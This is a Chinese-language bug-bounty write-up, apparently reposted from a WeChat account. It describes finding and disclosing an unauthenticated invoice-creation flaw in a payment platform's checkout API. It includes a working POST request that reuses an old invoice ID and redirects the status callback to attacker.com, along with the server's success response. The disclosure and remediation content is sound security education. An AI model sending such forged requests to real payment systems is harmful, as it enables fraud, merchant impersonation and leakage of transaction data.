简介

在探索一个在线支付处理平台的潜在漏洞时，我发现了一个严重的访问控制失效问题，该问题允许任何人创建与现有标识符绑定的发票——无需身份验证或授权。这种配置错误很容易导致冒充、网络钓鱼，甚至大规模欺诈。

在这篇文章中，我将向您介绍我是如何发现这个问题的，我的思考过程，以及我是如何负责任地披露这个问题的。和往常一样，没有敏感数据被访问，也没有造成真正的损害。

目标

我们把它叫做 vulnerable.com 。这个平台为商家提供支付处理和结账服务。我对他们的结账 API 特别感兴趣 。特别是像https://checkoutv2.vulnerable.com/v1/checkout/create 这样的端点。

侦察

我开始在checkoutv2.vulnerable.com上进行侦察，方式如下：

• 模糊测试
• 寻找返回 URL 和参数
• 浏览网站并查看结账过程中提出的网络请求。
• 使用Burp Suite等工具来拦截和重放流量。
• 使用Wayback Machine检查网站的存档版本。

在 Wayback Machine 中我发现了这个端点：https : //checkoutv2.vulnerable.com/v1/checkout/create

步骤：

1-当我尝试通过浏览器访问它时，它向我展示了：

图1：浏览器访问/checkout/create

GET 方法不允许，因此我通过 burpsuite 使用 POST 来访问

2- 通过 burp 访问后：

图2：Burpsuite访问/checkout/create

它唯一接受的内容类型：json

3- 因此，我在请求中添加了 Content-Type：text/json，并在请求正文中放置了随机 JSON 值：

{   "new":"hello"}

图3：JSON格式访问

正如您所见，后端使用以下 JSON 参数进行响应：

• invoiceIdentifier
• payCurrency
• checkStatusUrl

这让我想到：如果我使用这些 JSON 参数重新使用旧发票 ID 会怎样？

因此我使用 Wayback Machine 来查找可能的发票 ID：

4- 漏洞利用：

POST /v1/checkout/create HTTP/2Host: checkoutv2.vulnerable.comContent-Type: application/json{    "invoiceIdentifier": "00000000000000000000000000000000000",    "payCurrency": "usd",    "checkStatusUrl": "https://attacker.com"}

HTTP/2 200 OKDate: Tue, 27 May 2025 16:18:34 GMTContent-Type: application/jsonCache-Control: no-cache, privateX-Robots-Tag: noindex{"data": {"isSuccess": true,"message": "","txid": "0000000000000000000000000000000000000"},"status": 1}

• 无身份验证令牌

• 无会话 cookie

• 无账户链接

• 无发票 ID 所有权检查

这是一个典型的访问控制漏洞。

我尝试检查我创建的发票请求是否已完成，因此我从 Wayback Machine 结果访问了此端点：https://checkoutv2.vulnerable.com/v1/checkout/check-invoice-status/invoice-id

猜猜是什么？Booooom！它处于待处理状态，这意味着创建发票请求已成功完成。

我当时就像...

可能出现什么问题？

此漏洞为多种攻击媒介打开了大门：

• 发票伪造：攻击者可以生成与他们不拥有的发票相关的交易。
• 商家冒充：这些假发票可用于网络钓鱼活动或诈骗。
• 回调劫持：攻击者控制checkStatusUrl允许泄露交易状态或敏感数据。

想象一下，如果攻击者注册了数百个指向他们自己的状态检查服务器的交易。这不仅仅是一个逻辑错误，而是一个潜在的财务风险。

公司网络安全团队回应：

图9：公司回复-2

不幸的是，我被公司内部团队重复了渗透测试评估和监控。

负责任的测试

出于对平台及其用户的尊重，我在确认存在漏洞后就停止了进一步的测试。当我发现系统接受重复使用的发票ID时，我立即停止了测试，并确保实时用户数据不会受到影响。

修复（建议）

为了缓解这个问题，我建议：

• 验证发票所有权：检查是否invoiceIdentifier属于经过身份验证的会话。
• 限制checkStatusUrl：仅允许设置白名单商家网址。
• 向发票创建等敏感操作添加幂等密钥或 HMAC 签名。

关键要点

• 始终验证后端端点上的对象所有权 - 即使您认为它们是“内部的”。
• 永远不要相信用户对发票生成等安全敏感操作的输入。
• 像Wayback Machine这样的档案库可以成为测试遗留或被遗忘的标识符的金矿。

最后的想法

这是一个有趣且有意义的发现。它提醒了我，一个暴露的 UUID 和一个缺失的检查可能会导致严重的漏洞。感谢供应商的负责任的响应！

就是这样，我希望你喜欢它并学到一些新东西。

原文始发于微信公众号（Rsec）：0040.支付平台 API 访问控制失效——我如何创建和伪造发票